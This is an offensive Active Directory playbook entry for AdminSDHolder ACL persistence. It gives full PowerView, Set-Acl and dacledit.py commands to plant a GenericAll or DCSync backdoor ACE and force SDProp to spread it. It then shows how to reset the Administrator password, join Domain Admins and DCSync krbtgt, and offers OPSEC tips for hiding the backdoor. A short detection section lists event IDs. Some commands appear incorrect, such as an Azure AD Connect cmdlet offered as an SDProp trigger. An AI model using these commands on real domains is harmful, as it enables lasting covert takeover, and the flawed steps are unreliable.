attack-26-adminsdholder-persistence-via-acl.md (8430B)
1 --- 2 title: "Attack #26 β AdminSDHolder Persistence via ACL" 3 description: "AdminSDHolder is a built-in Active Directory persistence mechanism that attackers can abuse for permanent, self-healing backdoor access. Theβ¦" 4 category: active-directory 5 subcategory: "ACL Abuse" 6 tags: ["active-directory", "adcs", "credential-access", "persistence"] 7 tools: ["Impacket", "Mimikatz", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Three/π‘ Attack #26 β AdminSDHolder Persistence via ACL.md" 11 --- 12 # π‘ Attack #26 β AdminSDHolder Persistence via ACL 13 14 *** 15 16 ## π How It Works 17 18 AdminSDHolder is a **built-in Active Directory persistence mechanism** that attackers can abuse for permanent, self-healing backdoor access. The `CN=AdminSDHolder,CN=System` container holds a **template security descriptor** that is automatically applied to all "protected" AD objects β including Domain Admins, Enterprise Admins, Account Operators, Server Operators, and their members β by the **Security Descriptor Propagator (SDProp)** process, which runs **every 60 minutes** by default. 19 20 If an attacker modifies the AdminSDHolder object's ACL to include a backdoor ACE (e.g., granting their user GenericAll or DCSync rights), that ACE will be **automatically propagated to every protected object in the domain** within 60 minutes. Even if a defender removes the backdoor ACE from individual protected objects, SDProp will **re-apply it from AdminSDHolder** on the next cycle β making it a self-healing persistence mechanism. 21 22 ### Protected Groups (Subject to SDProp) 23 24 ``` 25 - Domain Admins - Enterprise Admins 26 - Schema Admins - Administrators 27 - Account Operators - Server Operators 28 - Print Operators - Backup Operators 29 - Domain Controllers - Read-only Domain Controllers 30 - Cert Publishers - Replicator 31 ``` 32 33 ### The Full Attack Flow 34 35 ``` 36 1. Achieve Domain Admin (or WriteDACL on AdminSDHolder) 37 2. Modify AdminSDHolder ACL β add your user with GenericAll/DCSync rights 38 3. Wait 60 minutes (or trigger SDProp manually) 39 4. SDProp propagates your backdoor ACE to ALL protected objects 40 5. Even if blue team removes your ACE from target objects, 41 SDProp re-applies it from AdminSDHolder on next cycle 42 6. Persist indefinitely until AdminSDHolder ACL is cleaned 43 ``` 44 45 *** 46 47 ## βοΈ Prerequisites 48 49 | Requirement | Detail | 50 |---|---| 51 | **WriteDACL on AdminSDHolder** | Requires DA or specific ACL access to AdminSDHolder | 52 | **Domain Admin (typical)** | Most common way to reach AdminSDHolder | 53 54 *** 55 56 ## π οΈ Tools 57 58 | Tool | Platform | Notes | 59 |---|---|---| 60 | **PowerView** | Windows | `Add-DomainObjectAcl` targeting AdminSDHolder | 61 | **Impacket β dacledit.py** | Linux | Remote ACL modification | 62 | **bloodyAD** | Linux | ACL manipulation | 63 64 *** 65 66 ## π» Full Commands 67 68 ### π΄ Add Backdoor ACE to AdminSDHolder 69 70 ```powershell 71 # ββ PowerView β add GenericAll for backdoor user ββββββββββββββββββββββββββββββ 72 Import-Module .\PowerView.ps1 73 Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ 74 -PrincipalIdentity backdoor_user -Rights All -Verbose 75 76 # ββ Or add DCSync rights ββββββββββββββββββββββββββββββββββββββββββββββββββββββ 77 Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ 78 -PrincipalIdentity backdoor_user -Rights DCSync -Verbose 79 80 # ββ Or using Set-ACL directly βββββββββββββββββββββββββββββββββββββββββββββββββ 81 $ASDHPath = "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local" 82 $UserSID = (Get-ADUser backdoor_user).SID 83 $ACL = Get-Acl $ASDHPath 84 $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( 85 $UserSID, "GenericAll", "Allow" 86 ) 87 $ACL.AddAccessRule($ACE) 88 Set-Acl -Path $ASDHPath -AclObject $ACL 89 ``` 90 91 ```bash 92 # ββ dacledit.py βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 93 dacledit.py -action write -rights FullControl \ 94 -principal backdoor_user \ 95 -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ 96 corp.local/Administrator:'Password1' -dc-ip 10.10.10.10 97 ``` 98 99 ### π΄ Force SDProp to Run Immediately (Don't Wait 60 Minutes) 100 101 ```powershell 102 # ββ Method 1: Invoke SDProp via rootDSE modify βββββββββββββββββββββββββββββββ 103 $rootDSE = [ADSI]"LDAP://RootDSE" 104 $rootDSE.Put("FixUpInheritance", 1) 105 $rootDSE.SetInfo() 106 107 # ββ Method 2: PowerShell AD Module βββββββββββββββββββββββββββββββββββββββββββ 108 Invoke-ADSDPropagation 109 # Or: 110 Start-ADSyncCycle -PolicyType Delta 111 112 # ββ Method 3: Protected Runspace ββββββββββββββββββββββββββββββββββββββββββββββ 113 $ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("DC01.corp.local") 114 $mod = New-Object System.DirectoryServices.Protocols.ModifyRequest("", 115 [System.DirectoryServices.Protocols.DirectoryAttributeModification]@{ 116 Name = "RunProtectAdminGroupsTask"; Operation = "Replace"; Values = "1" 117 } 118 ) 119 $ldap.SendRequest($mod) 120 ``` 121 122 ### π΄ Verify Propagation 123 124 ```powershell 125 # ββ Check if your ACE was propagated to Domain Admins βββββββββββββββββββββββββ 126 Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | 127 Where-Object { $_.IdentityReference -match "backdoor_user" } 128 129 # ββ Should show GenericAll or DCSync rights propagated from AdminSDHolder βββββ 130 ``` 131 132 ### π΄ Exploit the Propagated Rights 133 134 ```powershell 135 # ββ After SDProp propagation, backdoor_user has GenericAll on ALL protected objects β 136 # Reset any DA password: 137 Set-DomainUserPassword -Identity Administrator -AccountPassword ( 138 ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force 139 ) 140 141 # Add yourself to Domain Admins: 142 Add-DomainGroupMember -Identity "Domain Admins" -Members backdoor_user 143 144 # DCSync: 145 mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit 146 ``` 147 148 *** 149 150 ## π― OPSEC Tips 151 152 - **Self-healing** β even if defenders remove your ACE from individual DA/EA objects, SDProp re-applies it every 60 minutes 153 - **Requires DA to set up** β this is a persistence technique, not an initial escalation 154 - **AdminSDHolder modifications are RARE** in legitimate operations β any change should trigger immediate investigation 155 - **Don't use obvious accounts** β create a service account or technical account as the backdoor principal 156 - **SDProp also sets `adminCount=1`** on affected users β this is an IOC that defenders can query for 157 158 *** 159 160 ## π‘οΈ Detection β Event IDs 161 162 | Event ID | Source | What to Look For | 163 |---|---|---| 164 | **4662** | Security Log (DC) | Object access on AdminSDHolder | 165 | **5136** | Security Log (DC) | Directory modification β nTSecurityDescriptor change on AdminSDHolder | 166 | **4780** | Security Log (DC) | SDProp applied ACL to a protected object | 167 | **4670** | Security Log (DC) | Permissions changed on AdminSDHolder container | 168 169 **Primary detection:** Baseline the AdminSDHolder SDDL and alert on **ANY change**. AdminSDHolder modifications are exceptionally rare in legitimate operations β any modification is a critical severity alert. Additionally, query for users with `adminCount=1` who shouldn't have it. 170 171 *** 172 173 ## π Attack Chain Context 174 175 ``` 176 [AdminSDHolder Persistence] βββ Self-Healing Backdoor Access 177 β 178 ββββ π SDProp re-applies your ACE every 60 minutes 179 ββββ π Survives: ACE removal from individual objects, password changes 180 ββββ π― Affects: ALL protected groups (DA, EA, Schema, etc.) 181 ββββ π Prereqs: Domain Admin or WriteDACL on AdminSDHolder 182 ββββ π Defeated by: baseline AdminSDHolder ACL, monitor 5136, alert on ANY change 183 ``` 184 185 *** 186 187 > β **Attack #26 β AdminSDHolder Persistence complete.** 188 189 *** 190 191 > π **Category 3 β ACL / Permission Abuse is now COMPLETE (8/8 attacks).**